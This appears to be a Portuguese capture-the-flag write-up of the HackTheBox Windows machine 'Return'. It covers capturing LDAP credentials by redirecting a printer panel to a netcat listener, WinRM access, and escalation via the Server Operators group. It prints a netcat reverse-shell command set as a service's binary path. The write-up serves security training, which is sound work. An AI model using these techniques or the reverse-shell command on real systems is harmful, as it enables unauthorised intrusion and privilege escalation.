Return
#easy #HackTheBox #Windows #eJPT #OSCP
Reconhecimento de Rede
Verificando a conectividade via Ping
A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.
No retorno, o TTL de 127 é uma indicação de que possivelmente estamos lidando com um sistema Windows. O TTL inicial para sistemas Windows costuma ser 128, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 128, é provável que o sistema alvo seja uma máquina Windows.
Varredura de Portas e Serviços
Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta rustscan para verificar todas as portas (1-65535) no alvo. A varredura revelou as portas que estavam abertas e seus respectivos serviços, incluindo DNS, SMB, Microsoft IIS, Kerberos, LDAP e WinRM, atestando que de fato trata-se de um host Windows.
Como há muitas portas abertas, para uma melhor visualização utilizei a ferramenta nmap-bootstrap, que transforma a saída xml do nmap em um arquivo html com visual melhorado.
HTTP (80) Enumeration
Em seguida, passei a enumerar o serviço HTTP usando a ferramenta whatweb para coletar informações sobre o software e a versão do servidor web. A ferramenta retornou informações como o software do servidor web (Microsoft-IIS), versão (10.0), linguagem (PHP) e cabeçalhos que foram enviados na resposta HTTP. A ferramenta também revelou o título da página "HTB Printer Admin Panel" e o cabeçalho do servidor "Microsoft-IIS/10.0".
Após acessar o painel de administração de impressora, na guia Settings havia uma autenticação no servidor printer.return.local, porta 389 (ldap), com o nome de usuário svc-printer e sem a exibição da senha.
Printer Abuse
Pensando em formas de abusar dessa autenticação, podemos alterar o "Server Address" para o IP da nossa máquina atacante e tentar receber essa autenticação.
Então, basta nos colocar em escuta com netcat na porta 389 para recebermos esta autenticação e clicar em "Update" no servidor web. A autenticação é fraca e, portanto, conseguimos capturar uma credencial.
Podemos usar a ferramenta crackmapexec para validar a credencial. Como nos é retornado [+], significa que a credencial é válida.
Como a porta 5985 (WinRM) do alvo também está aberta, podemos ver se com essas credenciais podemos acessar esse serviço. Nos é retornado (Pwn3d!), o que significa que este usuário faz parte do grupo Remote Management Users, podendo acessar o host remotamente utilizando o serviço WinRM.
Gaining Access
Assim, podemos usar a ferramenta evil-winrm para obter esse acesso remoto ao alvo.
Uma vez logado, naveguei até o Desktop do usuário svc-printer e encontrei a flag user.txt.
Com essa flag, concluímos o primeiro objetivo do CTF e podemos passar para a próxima etapa de escalar privilégios para obter acesso a flag root.txt.
Privilege Escalation
A próxima etapa foi procurar maneiras de escalar nossos privilégios para Administrator. Com whoami /groups eu identifiquei que o usuário svc-printer fazia parte do grupo Server Operators. Este grupo tem permissões para iniciar e parar serviços no sistema. Portanto, eu pude usar essa informação para escalar meus privilégios.
Escalation via Server Operators Group
Para iniciar esse processo, precisamos transferir um executável do netcat para o alvo. Ele servirá para nos enviar uma reverse shell como Administrator quando abusarmos do grupo Server Operators.
Após isso, podemos listar os serviços presentes no alvo.
Usando o executável sc.exe, podemos configurar um serviço para atribuir a ele um comando que nós definirmos. Neste caso será um comando malicioso para enviar uma reverse shell para nossa máquina atacante usando o netcat que transferimos para o alvo.
Depois de testar os serviços um por um, vemos que o serviço VMTools pode ser configurado, assim, podemos definir o comando malicioso nele.
Depois disso, temos que reiniciar este serviço para que a configuração seja definida. Primeiro, paramos ele com o parâmetro stop.
Agora podemos iniciá-lo novamente, isso fará com que ele execute o comando malicioso que configuramos. Antes disso, temos que nos colocar em escuta na máquina de atacante com netcat, para depois iniciar o serviço VMTools do alvo com o parâmetro start.
Dessa forma, uma vez reiniciado, o serviço VMTools executará o comando C:\Windows\Temp\nc.exe -e cmd 10.10.16.49 443 e nos enviará uma reverse shell privilegiada.
Então basta ler a flag root.txt no Desktop do Administrator para concluir o objetivo do CTF.
Com a escalada de privilégios bem-sucedida e acesso root obtido, todas as flags foram coletadas e a máquina foi totalmente comprometida.

Atualizado
